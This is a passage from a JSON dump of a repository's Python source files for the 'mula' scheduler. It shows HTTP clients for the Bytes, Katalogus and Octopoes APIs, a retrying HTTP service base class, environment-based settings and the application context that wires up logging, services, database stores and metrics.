str:\n        url = f\"{self.host}/token\"\n        response = self.post(url=url, payload=self.credentials)\n\n        self._verify_response(response)\n\n        return str(response.json()[\"access_token\"])\n\n    @retry_with_login\n    @exception_handler\n    def get_last_run_boefje(self, boefje_id: str, input_ooi: str, organization_id: str) -> BoefjeMeta | None:\n        url = f\"{self.host}/bytes/boefje_meta\"\n        try:\n            response = self.get(\n                url=url,\n                params={\n                    \"boefje_id\": boefje_id,\n                    \"input_ooi\": input_ooi,\n                    \"organization\": organization_id,\n                    \"limit\": 1,\n                    \"descending\": \"true\",\n                },\n            )\n            if len(response.json()) > 0:\n                return BoefjeMeta(**response.json()[0])\n\n            return None\n        except httpx.HTTPStatusError as exc:\n            if exc.response.status_code == httpx.codes.NOT_FOUND:\n                return None\n            raise\n\n    @retry_with_login\n    @exception_handler\n    def get_last_run_boefje_by_organisation_id(self, organization_id: str) -> BoefjeMeta | None:\n        url = f\"{self.host}/bytes/boefje_meta\"\n        try:\n            response = self.get(url=url, params={\"organization\": organization_id, \"limit\": 1, \"descending\": \"true\"})\n            return BoefjeMeta(**response.json()[0])\n        except httpx.HTTPStatusError as exc:\n            if exc.response.status_code == httpx.codes.NOT_FOUND:\n                return None\n            raise\n"
  },
  {
    "path": "mula/scheduler/clients/http/external/katalogus.py",
    "content": "import threading\n\nimport httpx\n\nfrom scheduler.clients.errors import exception_handler\nfrom scheduler.clients.http import HTTPService\nfrom scheduler.models import Boefje, BoefjeConfig, Organisation, Plugin\n\n\nclass Katalogus(HTTPService):\n    \"\"\"A class that provides methods to interact with the Katalogus API.\"\"\"\n\n    name = \"katalogus\"\n\n    def __init__(self, host: str, source: str, timeout: int, pool_connections: int):\n        super().__init__(host, source, timeout, pool_connections)\n\n        # For every organisation we cache which new boefjes for an organisation\n        # have been enabled.\n        self.new_boefjes_cache_lock = threading.Lock()\n        self.new_boefjes_cache: dict = {}\n\n    @exception_handler\n    def get_boefjes(self) -> list[Boefje]:\n        url = f\"{self.host}/boefjes\"\n        try:\n            response = self.get(url)\n            return [Boefje(**boefje) for boefje in response.json()]\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return []\n            raise\n\n    @exception_handler\n    def get_boefje(self, boefje_id: str) -> Boefje | None:\n        url = f\"{self.host}/boefjes/{boefje_id}\"\n        try:\n            response = self.get(url)\n            return Boefje(**response.json())\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return None\n            raise\n\n    @exception_handler\n    def get_organisation(self, organisation_id) -> Organisation | None:\n        url = f\"{self.host}/v1/organisations/{organisation_id}\"\n        try:\n            response = self.get(url)\n            return Organisation(**response.json())\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return None\n            raise\n\n    @exception_handler\n    def get_organisations(self) -> list[Organisation]:\n        url = f\"{self.host}/v1/organisations\"\n        try:\n            response = self.get(url)\n            return [Organisation(**organisation) for organisation in response.json().values()]\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return []\n            raise\n\n    @exception_handler\n    def get_plugins_by_organisation(self, organisation_id: str) -> list[Plugin]:\n        url = f\"{self.host}/v1/organisations/{organisation_id}/plugins\"\n        try:\n            response = self.get(url)\n            return [Plugin(**plugin) for plugin in response.json()]\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return []\n            raise\n\n    @exception_handler\n    def get_plugin_by_id_and_org_id(self, plugin_id: str, organisation_id: str) -> Plugin | None:\n        url = f\"{self.host}/v1/organisations/{organisation_id}/plugins/{plugin_id}\"\n\n        try:\n            response = self.get(url)\n            return Plugin(**response.json())\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return None\n            raise\n\n    @exception_handler\n    def get_boefjes_by_type_and_org_id(self, ooi_type: str, organisation_id: str) -> list[Plugin]:\n        url = f\"{self.host}/v1/organisations/{organisation_id}/plugins\"\n\n        try:\n            response = self.get(url, params={\"plugin_type\": \"boefje\", \"consumes\": [ooi_type]})\n            return [Plugin(**plugin) for plugin in response.json()]\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return []\n            raise\n\n    @exception_handler\n    def get_normalizers_by_org_id_and_type(self, organisation_id: str, ooi_type: str) -> list[Plugin]:\n        url = f\"{self.host}/v1/organisations/{organisation_id}/plugins\"\n        try:\n            response = self.get(url, params={\"plugin_type\": \"normalizer\", \"consumes\": [ooi_type]})\n            return [Plugin(**plugin) for plugin in response.json()]\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return []\n            raise\n\n    def get_new_boefjes_by_org_id(self, organisation_id: str) -> list[Plugin]:\n        with self.new_boefjes_cache_lock:\n            # Get the enabled boefjes for the organisation from katalogus\n            plugins = self.get_plugins_by_organisation(organisation_id)\n            enabled_boefjes = {\n                plugin.id: plugin\n                for plugin in plugins\n                if plugin.enabled is True and plugin.type == \"boefje\" and plugin.consumes\n            }\n\n            # Check if there are new boefjes\n            new_boefjes = []\n            for boefje_id, boefje in enabled_boefjes.items():\n                if boefje_id not in self.new_boefjes_cache.get(organisation_id, {}):\n                    new_boefjes.append(boefje)\n\n            # Update the cache\n            self.new_boefjes_cache[organisation_id] = enabled_boefjes\n\n            self.logger.debug(\n                \"%d new boefjes found for organisation %s\",\n                len(new_boefjes),\n                organisation_id,\n                organisation_id=organisation_id,\n                boefjes=[boefje.name for boefje in new_boefjes],\n            )\n\n            return new_boefjes\n\n    def get_configs(\n        self,\n        organisation_id: str,\n        boefje_id: str | None = None,\n        enabled: bool | None = None,\n        with_duplicates: bool = False,\n        offset: int = 0,\n        limit: int = 0,\n    ) -> list[BoefjeConfig]:\n        url = f\"{self.host}/v1/configs\"\n        try:\n            response = self.get(\n                url,\n                params={\n                    \"organisation_id\": organisation_id,\n                    \"boefje_id\": boefje_id,\n                    \"enabled\": enabled,\n                    \"with_duplicates\": with_duplicates,\n                    \"offset\": offset,\n                    \"limit\": limit,\n                },\n            )\n            return [BoefjeConfig(**config) for config in response.json()]\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return []\n            raise\n"
  },
  {
    "path": "mula/scheduler/clients/http/external/octopoes.py",
    "content": "from collections.abc import Iterator\nfrom datetime import datetime, timezone\n\nimport httpx\nfrom pydantic import BaseModel\n\nfrom scheduler.clients.errors import exception_handler\nfrom scheduler.clients.http import HTTPService\nfrom scheduler.models import OOI, Organisation\n\n\nclass ListObjectsResponse(BaseModel):\n    count: int\n    items: list[OOI]\n\n\nclass Octopoes(HTTPService):\n    \"\"\"A class that provides methods to interact with the Octopoes API.\"\"\"\n\n    name = \"octopoes\"\n    health_endpoint = None\n\n    def __init__(self, host: str, source: str, orgs: list[Organisation], pool_connections: int, timeout: int = 10):\n        self.orgs: list[Organisation] = orgs\n        super().__init__(host, source, timeout, pool_connections)\n\n    @exception_handler\n    def get_objects_by_object_types(\n        self, organisation_id: str, object_types: list[str], scan_level: list[int]\n    ) -> Iterator[OOI]:\n        \"\"\"Get all oois from octopoes\"\"\"\n        if scan_level is None:\n            scan_level = []\n\n        url = f\"{self.host}/{organisation_id}/objects\"\n\n        pagesize = 1000\n        params = {\n            \"types\": object_types,\n            \"scan_level\": [s for s in scan_level],\n            \"offset\": 0,\n            \"limit\": pagesize,\n            \"valid_time\": datetime.now(timezone.utc),\n        }\n\n        count = pagesize\n        processed = 0\n        while count > processed:\n            params[\"offset\"] = processed\n            try:\n                response = self.get(url, params=params)\n            except httpx.HTTPStatusError as e:\n                if e.response.status_code == 404:\n                    break\n                raise\n\n            list_objects = ListObjectsResponse(**response.json())\n            # set count to actual count on first query result.\n            if processed == 0:\n                count = list_objects.count\n            processed += pagesize\n            yield from list_objects.items\n\n    @exception_handler\n    def get_random_objects(self, organisation_id: str, n: int, scan_level: list[int]) -> list[OOI]:\n        \"\"\"Get `n` random oois from octopoes\"\"\"\n        if scan_level is None:\n            scan_level = []\n\n        url = f\"{self.host}/{organisation_id}/objects/random\"\n\n        params = {\"amount\": str(n), \"scan_level\": [s for s in scan_level], \"valid_time\": datetime.now(timezone.utc)}\n\n        try:\n            response = self.get(url, params=params)\n            return [OOI(**ooi) for ooi in response.json()]\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return []\n            raise\n\n    @exception_handler\n    def get_objects(self, organisation_id: str, references: list[str]) -> Iterator[OOI]:\n        \"\"\"Get an ooi from octopoes\"\"\"\n        url = f\"{self.host}/{organisation_id}/objects/by_reference\"\n        response = self.get(url, params={\"references\": references, \"valid_time\": datetime.now(timezone.utc)})\n        list_objects = response.json()\n        for ooi in list_objects:\n            yield OOI(**list_objects[ooi])\n\n    @exception_handler\n    def get_object(self, organisation_id: str, reference: str) -> OOI | None:\n        \"\"\"Get an ooi from octopoes\"\"\"\n        url = f\"{self.host}/{organisation_id}/object\"\n\n        try:\n            response = self.get(url, params={\"reference\": reference, \"valid_time\": datetime.now(timezone.utc)})\n            return OOI(**response.json())\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return None\n            raise\n\n    @exception_handler\n    def get_object_clients(self, reference: str, clients: set[str], valid_time: datetime) -> dict[str, OOI]:\n        \"\"\"Return the clients from the provided list that have the given OOI at the valid_time.\"\"\"\n        url = f\"{self.host}/object-clients\"\n\n        try:\n            response = self.get(\n                url, params={\"reference\": reference, \"clients\": list(clients), \"valid_time\": valid_time.isoformat()}\n            )\n\n            return {client: OOI(**data) for client, data in response.json().items()}\n        except httpx.HTTPStatusError as e:\n            if e.response.status_code == httpx.codes.NOT_FOUND:\n                return {}\n            raise\n\n    def is_healthy(self) -> bool:\n        healthy = True\n        for org in self.orgs:\n            if not self.is_host_healthy(self.host, f\"{org.id}/health\"):\n                return False\n\n        return healthy\n"
  },
  {
    "path": "mula/scheduler/clients/http/external/rocky.py",
    "content": "from scheduler.clients.http import HTTPService\n\n\nclass Rocky(HTTPService):\n    name = \"rocky\"\n"
  },
  {
    "path": "mula/scheduler/clients/http/service.py",
    "content": "import time\nimport urllib.parse\nfrom collections.abc import MutableMapping\nfrom typing import Any\n\nimport httpx\nimport structlog\nfrom httpx import HTTPTransport, Limits\n\nfrom ..connector import Connector  # noqa: TID252\n\n\nclass HTTPService(Connector):\n    \"\"\"HTTPService exposes methods to make http requests to services that\n    typically expose rest api endpoints\n\n    Attributes:\n        logger:\n            The logger for the class.\n        session:\n            A httpx.Client object.\n        name:\n            A string describing the name of the service. This is used args\n            an identifier.\n        source:\n            As string defining the request user agent of HTTP request made from\n            this HTTPService instance. This helps services differentiate from\n            where the requests came from.\n        host:\n            A string url formatted reference to the host of the service\n        headers:\n            A dict containing the request headers.\n        health_endpoint:\n            A string defining the health endpoint for the service. Used too\n            determine whether a host is healthy.\n        timeout:\n            An integer defining the timeout of requests.\n    \"\"\"\n\n    name: str | None = None\n    health_endpoint: str | None = \"health\"\n\n    def __init__(self, host: str, source: str, timeout: int = 10, pool_connections: int = 10, retries: int = 5):\n        \"\"\"Initializer of the HTTPService class. During initialization the\n        host will be checked if it is available and healthy.\n\n        Args:\n            host:\n                A string url formatted reference to the host of the service\n            source:\n                A string defining the request source of HTTP request made from\n                this HTTPService instance. This helps services differentiate\n                from where the requests came from.\n            timeout:\n                An integer defining the timeout of requests.\n            pool_connections:\n                The number of connections kept alive in the pool.\n            retries:\n                An integer defining the number of retries to make before\n                giving up.\n        \"\"\"\n        super().__init__()\n\n        self.logger: structlog.BoundLogger = structlog.getLogger(self.__class__.__name__)\n        self.host: str = host\n        self.timeout: int = timeout\n        self.pool_connections: int = pool_connections\n        self.retries: int = retries\n        self.source: str = source\n        transport = HTTPTransport(retries=self.retries, limits=Limits(max_connections=self.pool_connections))\n        self.session = httpx.Client(transport=transport, timeout=self.timeout)\n\n        if self.source:\n            self.session.headers[\"User-Agent\"] = self.source\n\n        self._do_checks()\n\n    def get(self, url: str, params: dict[str, Any] | None = None) -> httpx.Response:\n        \"\"\"Execute a HTTP GET request\n\n        Args:\n            url:\n                A string url formatted reference to the host of the service\n            params:\n                A dict to set the query parameters for the request\n\n        Returns:\n            A request.Response object\n        \"\"\"\n        response = self._request_with_backoff(\n            method=\"GET\", url=url, headers=self.headers, params=params, timeout=self.timeout\n        )\n        self.logger.debug(\"Made GET request to %s.\", url, name=self.name, url=url)\n\n        response.raise_for_status()\n\n        return response\n\n    def post(self, url: str, payload: dict[str, Any], params: dict[str, Any] | None = None) -> httpx.Response:\n        \"\"\"Execute a HTTP POST request\n\n        Args:\n            headers:\n                A dict to set additional headers for the request.\n            params:\n                A dict to set the query parameters for the request\n\n        Returns:\n            A request.Response object\n        \"\"\"\n        response = self._request_with_backoff(\n            method=\"POST\", url=url, headers=self.headers, params=params, data=payload, timeout=self.timeout\n        )\n        self.logger.debug(\"Made POST request to %s.\", url, name=self.name, url=url, payload=payload)\n\n        response.raise_for_status()\n\n        return response\n\n    def _request_with_backoff(self, method: str, url: str, **kwargs: Any) -> httpx.Response:\n        for i in range(1, self.retries + 1):\n            try:\n                response = self.session.request(method, url, **kwargs)\n                response.raise_for_status()\n                return response\n            except httpx.RequestError as exc:\n                if i == self.retries:\n                    raise exc\n\n                self.logger.warning(\"Retrying %s request to %s (attempt %d/%d)\", method, url, i, self.retries)\n                delay = min(2**i, 60)  # Exponential backoff with a max delay of 60 seconds\n                time.sleep(delay)\n\n        raise RuntimeError(\"Request failed after maximum retries\")\n\n    @property\n    def headers(self) -> MutableMapping[str, str]:\n        return self.session.headers\n\n    def _do_checks(self) -> None:\n        \"\"\"Do checks whether a host is available and healthy.\"\"\"\n        if not self.host:\n            self.logger.warning(\"No host defined for service %s\", self.name)\n            return\n\n        parsed_url = urllib.parse.urlparse(self.host)\n        hostname, port = parsed_url.hostname, parsed_url.port\n\n        if port is None and parsed_url.scheme is not None:\n            port = 80 if parsed_url.scheme == \"http\" else 443\n\n        if hostname is None or port is None:\n            self.logger.warning(\"Not able to parse hostname and port from %s\", self.host, host=self.host)\n            return\n\n        if self.host is not None and self.retry(self.is_host_available, hostname, port) is False:\n            raise RuntimeError(f\"Host {self.host} is not available.\")\n\n        if (\n            self.health_endpoint is not None\n            and self.retry(self.is_host_healthy, self.host, self.health_endpoint) is False\n        ):\n            raise RuntimeError(f\"Service {self.name} is not running.\")\n\n    def is_healthy(self) -> bool:\n        \"\"\"Check if host is healthy by inspecting the host's health endpoint.\n\n        Returns:\n            A boolean\n        \"\"\"\n        if self.host is None:\n            self.logger.warning(\"Host is not set.\")\n            return False\n\n        if self.health_endpoint is None:\n            self.logger.warning(\"Health endpoint is not set.\")\n            return False\n\n        return self.is_host_healthy(self.host, self.health_endpoint)\n"
  },
  {
    "path": "mula/scheduler/config/__init__.py",
    "content": "from .settings import Settings\n"
  },
  {
    "path": "mula/scheduler/config/settings.py",
    "content": "import logging\nimport os\nfrom pathlib import Path\nfrom typing import Any, Literal\n\nfrom pydantic import AmqpDsn, AnyHttpUrl, Field, PostgresDsn, fields\nfrom pydantic_settings import BaseSettings, PydanticBaseSettingsSource, SettingsConfigDict\n\nBASE_DIR: Path = Path(__file__).parent.parent.parent.resolve()\n\n# Set base dir to something generic when compiling environment docs\nif os.getenv(\"DOCS\"):\n    BASE_DIR = Path(\"../../../\")\n\n\nclass BackwardsCompatibleEnvSettings(PydanticBaseSettingsSource):\n    backwards_compatibility_mapping = {\"SCHEDULER_RABBITMQ_DSN\": \"QUEUE_URI\", \"SCHEDULER_DB_DSN\": \"SCHEDULER_DB_URI\"}\n\n    def get_field_value(self, field: fields.FieldInfo, field_name: str) -> tuple[Any, str, bool]:\n        return super().get_field_value(field, field_name)\n\n    def __call__(self) -> dict[str, Any]:\n        d: dict[str, Any] = {}\n        env_vars = {k.lower(): v for k, v in os.environ.items()}\n        env_prefix = self.settings_cls.model_config.get(\"env_prefix\").lower()\n\n        for old_name, new_name in self.backwards_compatibility_mapping.items():\n            old_name, new_name = old_name.lower(), new_name.lower()\n\n            # New variable not explicitly set through env,\n            # ...but old variable has been explicitly set through env\n            if new_name not in env_vars and old_name in env_vars:\n                logging.warning(\"Deprecation: %s is deprecated, use %s instead\", old_name.upper(), new_name.upper())\n                if new_name == \"queue_uri\":\n                    d[\"QUEUE_URI\"] = env_vars[old_name]\n                else:\n                    d[new_name[len(env_prefix) :]] = env_vars[old_name]\n\n        return d\n\n\nclass Settings(BaseSettings):\n    \"\"\"Application settings loaded from environment variables.\"\"\"\n\n    model_config = SettingsConfigDict(env_prefix=\"SCHEDULER_\")\n\n    # Application settings\n    debug: bool = Field(False, alias=\"DEBUG\", description=\"Enables/disables global debugging mode\")\n\n    log_cfg: Path = Field(BASE_DIR / \"logging.json\", description=\"Path to the logging configuration file\")\n\n    collect_metrics: bool = Field(\n        False, description=\"Enables/disables the collection of metrics to be used with tools like Prometheus\"\n    )\n\n    logging_format: Literal[\"text\", \"json\"] = Field(\"text\", description=\"Logging format\")\n\n    # Server settings\n    api_host: str = Field(\"0.0.0.0\", description=\"Host address of the scheduler api server\")\n\n    api_port: int = Field(8000, description=\"Host api server port\")\n\n    # Application settings\n    monitor_organisations_interval: int = Field(\n        60,\n        description=\"Interval in seconds of the execution of the \"\n        \"`monitor_organisations` method of the scheduler application\"\n        \" to check newly created or removed organisations from katalogus. \"\n        \"It updates the organisations, their plugins, and the creation of \"\n        \"their schedulers.\",\n    )\n\n    # External services settings\n    octopoes_request_timeout: int = Field(10, description=\"The timeout in seconds for the requests to the octopoes api\")\n\n    octopoes_pool_connections: int = Field(\n        10, description=\"The maximum number of connections to save in the pool for the octopoes api\"\n    )\n\n    katalogus_request_timeout: int = Field(\n        10, description=\"The timeout in seconds for the requests to the katalogus api\"\n    )\n\n    katalogus_pool_connections: int = Field(\n        10, description=\"The maximum number of connections to save in the pool for the katalogus api\"\n    )\n\n    bytes_request_timeout: int = Field(10, description=\"The timeout in seconds for the requests to the bytes api\")\n\n    bytes_pool_connections: int = Field(\n        10, description=\"The maximum number of connections to save in the pool for the bytes api\"\n    )\n\n    rabbitmq_prefetch_count: int = Field(\n        100,\n        description=\"RabbitMQ prefetch_count for `channel.basic_qos()`, \"\n        \"which is the number of unacknowledged messages on a channel. \"\n        \"Also see https://www.rabbitmq.com/consumer-prefetch.html\",\n    )\n\n    # External services settings\n    host_katalogus: AnyHttpUrl = Field(\n        ...,\n        json_schema_extra={\"example\": \"http://localhost:8003\"},\n        alias=\"KATALOGUS_API\",\n        description=\"Katalogus API URL\",\n    )\n\n    host_bytes: AnyHttpUrl = Field(\n        ..., json_schema_extra={\"example\": \"http://localhost:8004\"}, alias=\"BYTES_API\", description=\"Bytes API URL\"\n    )\n\n    host_bytes_user: str = Field(\n        ..., json_schema_extra={\"example\": \"test\"}, alias=\"BYTES_USERNAME\", description=\"Bytes JWT login username\"\n    )\n\n    host_bytes_password: str = Field(\n        ..., json_schema_extra={\"example\": \"secret\"}, alias=\"BYTES_PASSWORD\", description=\"Bytes JWT login password\"\n    )\n\n    host_octopoes: AnyHttpUrl = Field(\n        ...,\n        json_schema_extra={\"example\": \"http://localhost:8001\"},\n        alias=\"OCTOPOES_API\",\n        description=\"Octopoes API URL\",\n    )\n\n    host_mutation: AmqpDsn = Field(\n        ..., json_schema_extra={\"example\": \"amqp://\"}, alias=\"QUEUE_URI\", description=\"KAT queue URI for host mutations\"\n    )\n\n    host_raw_data: AmqpDsn = Field(\n        ..., json_schema_extra={\"example\": \"amqp://\"}, alias=\"QUEUE_URI\", description=\"KAT queue URI for host raw data\"\n    )\n\n    host_metrics: AnyHttpUrl | None = Field(\n        None, alias=\"SPAN_EXPORT_GRPC_ENDPOINT\", description=\"OpenTelemetry endpoint\"\n    )\n\n    # How many items a priority queue can hold. The default used to be 1000, but\n    # was later changed to 0. The scheduler is currently buggy if you set it to\n    # something else than 0. Since the queue is stored in the database there is\n    # no reason to limit the size of the queue anymore, so we just hardcode it\n    # to 0 here so we don't have to do a big refactor to get rid of the variable\n    # usage.\n    pq_maxsize: int = 0\n\n    pq_interval: int = Field(\n        60, description=\"Interval in seconds of the execution of the `` method of the `scheduler.Scheduler` class\"\n    )\n\n    pq_grace_period: int = Field(\n        86400, description=\"Grace period of when a job is considered to be running again in seconds\"\n    )\n\n    pq_max_random_objects: int = Field(\n        50, description=\"The maximum number of random objects that can be added to the priority queue, per call\"\n    )\n\n    # Database settings\n    db_uri: PostgresDsn = Field(\n        ...,\n        json_schema_extra={\"example\": \"postgresql://xx:xx@host:5432/scheduler\"},\n        description=\"Scheduler Postgres DB URI\",\n    )\n    db_connection_pool_size: int = Field(25, description=\"Database connection pool size\")\n\n    @classmethod\n    def settings_customise_sources(\n        cls,\n        settings_cls: type[BaseSettings],\n        init_settings: PydanticBaseSettingsSource,\n        env_settings: PydanticBaseSettingsSource,\n        dotenv_settings: PydanticBaseSettingsSource,\n        file_secret_settings: PydanticBaseSettingsSource,\n    ) -> tuple[PydanticBaseSettingsSource, ...]:\n        return (\n            init_settings,\n            env_settings,\n            dotenv_settings,\n            file_secret_settings,\n            BackwardsCompatibleEnvSettings(settings_cls),\n        )\n"
  },
  {
    "path": "mula/scheduler/context/__init__.py",
    "content": "from .context import AppContext\n\n__all__ = [\"AppContext\"]\n"
  },
  {
    "path": "mula/scheduler/context/context.py",
    "content": "import json\nimport logging.config\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nimport structlog\nfrom prometheus_client import CollectorRegistry, Gauge, Info\n\nimport scheduler\nfrom scheduler import clients, storage\nfrom scheduler.config import settings\nfrom scheduler.storage import stores\nfrom scheduler.utils import remove_trailing_slash\n\n\nclass AppContext:\n    \"\"\"AppContext allows shared data between modules.\n\n    Attributes:\n        config:\n            A settings.Settings object containing configurable application\n            settings\n        services:\n            A dict containing all the external services connectors that\n            are used and need to be shared in the scheduler application.\n        task_store:\n            A stores.TaskStore object used for storing tasks.\n        pq_store:\n            A stores.PriorityQueueStore object used for storing priority queues.\n        metrics_registry:\n            A prometheus_client.CollectorRegistry object used for storing metrics.\n        metrics_qsize:\n            A prometheus_client.Gauge object used for storing the queue size of\n            the schedulers.\n    \"\"\"\n\n    metrics_qsize: Gauge\n    metrics_task_status_counts: Gauge\n\n    def __init__(self) -> None:\n        \"\"\"Initializer of the AppContext class.\"\"\"\n        self.config: settings.Settings = settings.Settings()\n\n        # Load logging configuration\n        with Path(self.config.log_cfg).open(\"rt\", encoding=\"utf-8\") as f:\n            logging.config.dictConfig(json.load(f))\n\n        # Check if we enabled structured logging in the configuration\n        if self.config.logging_format == \"json\":\n            structlog.configure(\n                processors=[\n                    # If log level is too low, abort pipeline and throw away log entry.\n                    structlog.stdlib.filter_by_level,\n                    # Add the name of the logger to event dict.\n                    structlog.stdlib.add_logger_name,\n                    # Add log level to event dict.\n                    structlog.stdlib.add_log_level,\n                    # Perform %-style formatting.\n                    structlog.stdlib.PositionalArgumentsFormatter(),\n                    # Add a timestamp in ISO 8601 format.\n                    structlog.processors.TimeStamper(fmt=\"iso\", utc=False),\n                    # If the \"stack_info\" key in the event dict is true, remove it\n                    # and render the current stack trace in the \"stack\" key.\n                    structlog.processors.StackInfoRenderer(),\n                    # If the \"exc_info\" key in the event dict is either true or a\n                    # sys.exc_info() tuple, remove \"exc_info\" and render the\n                    # exception with traceback into the \"exception\" key.\n                    structlog.processors.format_exc_info,\n                    # If some value is in bytes, decode it to a Unicode str.\n                    structlog.processors.UnicodeDecoder(),\n                    # Add callsite parameters.\n                    structlog.processors.CallsiteParameterAdder(\n                        {\n                            structlog.processors.CallsiteParameter.FILENAME,\n                            structlog.processors.CallsiteParameter.FUNC_NAME,\n                            structlog.processors.CallsiteParameter.LINENO,\n                        }\n                    ),\n                    # Render the final event dict as JSON.\n                    structlog.processors.JSONRenderer(),\n                ],\n                context_class=dict,\n                # `logger_factory` is used to create wrapped loggers that are used\n                # for OUTPUT. This one returns a `logging.Logger`. The final value\n                # (a JSON string) from the final processor (`JSONRenderer`) will\n                # be passed to the method of the same name as that you've called on\n                # the bound logger.\n                logger_factory=structlog.stdlib.LoggerFactory(),\n                # `wrapper_class` is the bound logger that you get back from\n                # get_logger(). This one imitates the API of `logging.Logger`.\n                wrapper_class=structlog.stdlib.BoundLogger,\n                # Effectively freeze configuration after creating the first bound\n                # logger.\n                cache_logger_on_first_use=True,\n            )\n        else:\n            structlog.configure(\n                processors=[\n                    structlog.contextvars.merge_contextvars,\n                    structlog.processors.add_log_level,\n                    structlog.processors.StackInfoRenderer(),\n                    structlog.dev.set_exc_info,\n                    structlog.stdlib.PositionalArgumentsFormatter(),\n                    structlog.processors.TimeStamper(\"iso\", utc=False),\n                    structlog.dev.ConsoleRenderer(pad_level=False, exception_formatter=structlog.dev.plain_traceback),\n                ],\n                context_class=dict,\n                # `logger_factory` is used to create wrapped loggers that are used\n                # for OUTPUT. This one returns a `logging.Logger`.\n                logger_factory=structlog.stdlib.LoggerFactory(),\n                # `wrapper_class` is the bound logger that you get back from\n                # get_logger(). This one imitates the API of `logging.Logger`.\n                wrapper_class=structlog.stdlib.BoundLogger,\n                # Effectively freeze configuration after creating the first bound\n                # logger.\n                cache_logger_on_first_use=True,\n            )\n\n        self.logger: structlog.BoundLogger = structlog.get_logger(__name__)\n\n        # Set the logging level\n        if self.config.debug:\n            self.logger.setLevel(logging.DEBUG)\n\n        # Services\n        katalogus_service = clients.Katalogus(\n            host=remove_trailing_slash(str(self.config.host_katalogus)),\n            source=f\"scheduler/{scheduler.__version__}\",\n            timeout=self.config.katalogus_request_timeout,\n            pool_connections=self.config.katalogus_pool_connections,\n        )\n\n        bytes_service = clients.Bytes(\n            host=remove_trailing_slash(str(self.config.host_bytes)),\n            source=f\"scheduler/{scheduler.__version__}\",\n            user=self.config.host_bytes_user,\n            password=self.config.host_bytes_password,\n            timeout=self.config.bytes_request_timeout,\n            pool_connections=self.config.bytes_pool_connections,\n        )\n\n        octopoes_service = clients.Octopoes(\n            host=remove_trailing_slash(str(self.config.host_octopoes)),\n            source=f\"scheduler/{scheduler.__version__}\",\n            timeout=self.config.octopoes_request_timeout,\n            pool_connections=self.config.octopoes_pool_connections,\n            orgs=katalogus_service.get_organisations(),\n        )\n\n        # Register external services, SimpleNamespace allows us to use dot\n        # notation\n        self.services: SimpleNamespace = SimpleNamespace(\n            **{\n                clients.Katalogus.name: katalogus_service,\n                clients.Octopoes.name: octopoes_service,\n                clients.Bytes.name: bytes_service,\n            }\n        )\n\n        # Database connection\n        try:\n            dbconn = storage.DBConn(dsn=str(self.config.db_uri), pool_size=self.config.db_connection_pool_size)\n            dbconn.connect()\n        except storage.errors.StorageError:\n            self.logger.exception(\"Failed to connect to database\")\n            raise\n        except Exception:\n            self.logger.exception(\"Failed to connect to database\")\n            raise\n\n        # Datastores, SimpleNamespace allows us to use dot notation\n        self.datastores: SimpleNamespace = SimpleNamespace(\n            **{\n                stores.ScheduleStore.name: stores.ScheduleStore(dbconn),\n                stores.TaskStore.name: stores.TaskStore(dbconn),\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(dbconn),\n            }\n        )\n\n        # Metrics collector registry\n        self.metrics_registry: CollectorRegistry = CollectorRegistry()\n\n        Info(\n            name=\"app_settings\", documentation=\"Scheduler configuration settings\", registry=self.metrics_registry\n        ).info(\n            {\n                \"pq_maxsize\": str(self.config.pq_maxsize),\n                \"pq_grace_period\": str(self.config.pq_grace_period),\n                \"pq_max_random_objects\": str(self.config.pq_max_random_objects),\n                \"monitor_organisations_interval\": str(self.config.monitor_organisations_interval),\n            }\n        )\n\n        self.metrics_qsize = Gauge(\n            name=\"scheduler_qsize\",\n            documentation=\"Size of the scheduler queue\",\n            registry=self.metrics_registry,\n            labelnames=[\"scheduler_id\"],\n        )\n\n        self.metrics_task_status_counts = Gauge(\n            name=\"scheduler_task_status_counts\",\n            documentation=\"Number of tasks in each status\",\n            registry=self.metrics_registry,\n            labelnames=[\"scheduler_id\", \"status\"],\n        )\n"
  },
  {
    "path": "mula/scheduler/models/__init__.py",
    "content": "from .base import Base\nfrom .boefje import Boefje, BoefjeConfig, BoefjeMeta\nfrom .events import RawData, RawDataReceivedEvent\nfrom .health import ServiceHealth\nfrom .normalizer import Normalizer\nfrom .ooi import OOI, MutationOperationType, RunOn, ScanProfile, ScanProfileMutation\nfrom .organisation import Organisation\nfrom .plugin import Plugin\nfrom .queue import Queue\nfrom .schedule import Schedule, ScheduleDB\nfrom .scheduler import Scheduler, SchedulerType\nfrom .task import ACTIVE_TASK_STATUSES, BoefjeTask, NormalizerTask, ReportTask, Task, TaskDB, TaskStatus\n"
  },
  {
    "path": "mula/scheduler/models/base.py",
    "content": "from sqlalchemy.orm import DeclarativeBase\n\n\nclass Base(DeclarativeBase):\n    pass\n"
  },
  {
    "path": "mula/scheduler/models/boefje.py",
